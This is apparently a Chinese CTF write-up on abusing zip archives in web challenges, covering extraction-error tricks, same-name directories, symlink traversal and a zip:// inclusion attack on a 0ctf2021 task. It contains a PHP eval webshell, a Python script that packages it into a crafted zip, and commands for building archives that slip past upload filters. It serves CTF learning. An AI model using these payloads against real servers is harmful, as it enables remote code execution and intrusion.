CTF中zip文件的使用

这是一场招新赛中的一个赛题做的总结,大佬们锤轻点QwQ

CTF中zip文件的使用

在CTF中zip文件的出现频率很高,大多出现在Misc和Crypto赛道以加密和修复的姿势出现,但本文主要讲解的是在Web赛道上zip文件的一下利用方式。

利用姿势ONE—zip报错解压

利用条件:只能上传压缩包,且压缩包内的图片会保留,其他都会删除,对目录穿越做了限制; 只能从解压方面入手。

文件名/报错

在PHP架构中,有一个自带的解压函数ZipArchive。这里的报错解压就是使ZipArchive识别文件出错,但是能够正常保留压缩包中的文件。例如在windows下不允许文件中包含

冒号(😃,我们就可以在010editor中修改压缩文件的deFileName属性的值,此时解压就会出错,但是一句话代码就会保留下来。在Linux下也有类似的方法,可以将文件名改成5个斜杠(/////),此时Linux写解压也会出错,但是一句话木马被保留下来了。

image-20221106143638292

超长文件名报错伴随一句话木马

1
2
3
4
5
6
7
8
9
10
import zipfile
import io

mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
zf.writestr('1.php', b'@<?php eval($_POST[TW])?>')
zf.writestr('A' * 5000, b'AAAAA')

with open("shell.zip", "wb") as f:
f.write(mf.getvalue())

利用姿势Two–同名解压

压缩包中目录名和一个文件名相同

首先创建一个shell.php,内包含一句话木马,先把压缩进压缩包

1
zip -y test1.zip shell.php

然后删除shell.php创建一个同名文件夹,里面随便放一些东西,再压缩进同一个压缩包

1
2
mkdir shell.php
zip -y test1.zip shell.php/1.txt

创建“0”文件夹绕过

image-20221106145439629

这里的read()函数不会处理0文件夹,所以这里的array返回值为空。

image-20221106145936187

所以file_list得到的也是空值,在执行删除目录或者文件的时候便不会删除到0文件夹下的内容。

利用姿势Three–目录穿越

软连接

目前遇到的赛题MT-CTF初赛 ,由于没找到环境现在打一下,就着比赛时候的writeup说一下

先说一下软连接

软连接是linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个同步的链接。

具体用法是:ln -s 源文件 目标文件。

当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在其它的 目录下用ln命令链接(link)就可以,不必重复的占用磁盘空间

MT-CTF决赛-Writeup.pdf

利用姿势Four–文件包含

inephp - 0ctf2021

这个题目取自非常经典的文件包含题。

1
2
 <?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

这里限制后缀必须是.php的文件才能够实现包含。这里可以利用zip来构成条件竞争来上传。

这里需要传一个构造过的zip包,然后令yxxx=zip:///tmp/sess_evil#1这样,让后续的代码能够include它。但显然通过session.upload_progress搞上去的文件最开始的字符串内容是upload_progress_,所以必须想办法绕过@substr(file($_)[0],0,6) === '@<?php'的判断。

1.png

根据上图,我们不难发现End of Central Directory(中央目录结束)里面有一个offset of start of central(中心起点的偏移量),左下的示意图说明程序处理zip文件的时候首先从这个文件末尾出发,根据偏移找到Central Directory(中央目录)的头位置,然后再根据relative offset of local header(本地头的相对偏移量)找到整个zip文件头的位置,也就指向local file header signature`(本地文件头签名)

zip构造

1
2
3
4
zip shell.zip 1.php
echo -n "upload_progress_" > f
cat f shell.zip > b.zip
zip -F b.zip --out c.zip

这里的解决办法就是修改这两个offset,这样zip协议能够跳开前面几个字符找到正确的位置。另外,CRC的值我们也不必进行修改,因为这里的crc-32其实是根据crc前面的相关信息计算出来的结果。因为最开始的字符串内容是upload_progress_,其长度为16,因此这两个offset(从010editor来看就是elDirectoryOffset(el目录偏移量)和deHeaderOffset(de标头偏移量))都要加上16。

image-20221106185559363

image-20221106184440246